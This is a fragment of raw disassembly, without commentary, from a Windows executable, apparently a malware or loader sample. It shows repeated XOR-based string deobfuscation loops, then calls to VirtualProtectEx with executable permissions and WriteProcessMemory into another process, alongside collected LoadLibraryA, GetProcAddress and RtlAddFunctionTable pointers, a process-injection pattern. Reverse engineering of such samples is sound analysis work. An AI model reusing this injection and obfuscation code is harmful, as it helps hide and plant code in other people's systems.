movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400093d0
mov rcx, r10
jmp 0x1400098e6
mov byte [rbp - 0x57], 0
lea rdx, [rbp + 0x14c]
lea rcx, [rbp - 0x57]
call fcn.140020de0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000943b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x18c0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x18c0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x18c0]
call fcn.1400b3040
cmp ebx, 9
jne 0x1400098f9
mov byte [rbp - 0x56], 0
lea rdx, [rbp + 0x6a8]
lea rcx, [rbp - 0x56]
call fcn.1400214e0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400094be
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp - 0x55], 0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x55]
call fcn.140021460
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400094e4
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x54], 0
lea rdx, [rbp + 0xa08]
lea rcx, [rbp - 0x54]
call fcn.140021290
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140009620
mov r8d, edi
cmp esi, 2
jl 0x1400095ea
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400095f0
mov byte [rbp - 0x53], 0
lea rdx, [rbp + 0xf48]
lea rcx, [rbp - 0x53]
call fcn.1400210c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140009760
mov r8d, edi
cmp esi, 2
jl 0x14000971c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140009730
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x52], 0
lea rdx, [rbp + 0xa18]
lea rcx, [rbp - 0x52]
call fcn.140020ef0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400098a1
mov r8d, edi
cmp esi, 2
jl 0x140009864
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140009870
mov byte [rbp - 0x51], 0
lea rdx, [rbp + 0x4c8]
lea rcx, [rbp - 0x51]
call fcn.140020e60
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400098e3
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov dword [rbp + 0x1d64], edi
mov rax, qword [rbp + 0x220]
mov r8d, dword [rax + 0x50]
lea rax, [rbp + 0x1d64]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov rdx, r13
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rbp + 0x1d00], rdi
mov dword [rbp + 0x1d0c], edi
mov dword [rbp + 0x1d1c], edi
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x1ce0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1ce8], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp + 0x1cf0], rax
mov qword [rbp + 0x1cf8], r13
mov eax, dword [rbp + 0x1e78]
mov dword [rbp + 0x1d08], eax
mov qword [rbp + 0x1d10], r15
movzx eax, byte [rbp + 0x1e70]
mov dword [rbp + 0x1d18], eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
mov r8, r12
mov rdx, r13
mov r15, qword [rbp + 0x208]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140017f57
mov byte [rbp - 0x50], 0
lea rdx, [rbp + 0x1bc]
lea rcx, [rbp - 0x50]
call fcn.140021580
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400099ef
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x18e0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x18e0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x18e0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000a0e9
mov byte [rbp - 0x4f], 0
lea rdx, [rbp + 0x15c0]
lea rcx, [rbp - 0x4f]
call fcn.140021e40
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x140009b81
mov r8d, edi
cmp esi, 2
jl 0x140009b47
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140009a60
cmp r8d, 0x1a
jge 0x140009b81
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140009b50
mov byte [rbp - 0x4e], 0
lea rdx, [rbp + 0x1400]
lea rcx, [rbp - 0x4e]
call fcn.140021c30
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140009cd1
mov r8d, edi
cmp esi, 2
jl 0x140009c98
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009bb1
cmp r8d, 0x16
jge 0x140009cd1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009ca0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x4d], 0
lea rdx, [rbp + 0xa28]
lea rcx, [rbp - 0x4d]
call fcn.140021a60
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140009e10
mov r8d, edi
cmp esi, 2
jl 0x140009dd7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140009de0
mov byte [rbp - 0x4c], 0
lea rdx, [rbp + 0xf58]
lea rcx, [rbp - 0x4c]
call fcn.140021890
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140009f50
mov r8d, edi
cmp esi, 2
jl 0x140009f0c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140009f20
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x4b], 0
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp - 0x4b]
call fcn.1400217f0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140009fb2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x4a], 0
lea rdx, [rbp + 0x1268]
lea rcx, [rbp - 0x4a]
call fcn.140021610
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000a0e1
mov r8d, edi
cmp esi, 2
jl 0x14000a09d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000a0b0
mov rcx, r10
jmp 0x14000b286
mov byte [rbp - 0x49], 0
lea rdx, [rbp + 0x338]
lea rcx, [rbp - 0x49]
call fcn.140022050
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000a127
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1900]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1900]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1900]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000a6bb
mov byte [rbp - 0x48], 0
lea rdx, [rbp + 0xf68]
lea rcx, [rbp - 0x48]
call fcn.140022770
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x14000a291
mov r8d, edi
cmp esi, 2
jl 0x14000a24d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a260
mov byte [rbp - 0x47], 0
lea rdx, [rbp + 0xa38]
lea rcx, [rbp - 0x47]
call fcn.1400225a0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000a3c1
mov r8d, edi
cmp esi, 2
jl 0x14000a37c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000a390
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x46], 0
lea rdx, [rbp + 0xa48]
lea rcx, [rbp - 0x46]
call fcn.1400223d0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000a500
mov r8d, edi
cmp esi, 2
jl 0x14000a4c7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000a4d0
mov byte [rbp - 0x45], 0
lea rdx, [rbp + 0xf78]
lea rcx, [rbp - 0x45]
call fcn.140022200
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000a640
mov r8d, edi
cmp esi, 2
jl 0x14000a5fc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a610
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x44], 0
lea rdx, [rbp + 0x6c8]
lea rcx, [rbp - 0x44]
call fcn.140022160
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000a6a2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x43], 0
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp - 0x43]
call fcn.1400220d0
jmp 0x14000b255
mov byte [rbp - 0x42], 0
lea rdx, [rbp + 0x348]
lea rcx, [rbp - 0x42]
call fcn.140022940
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000a6f9
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
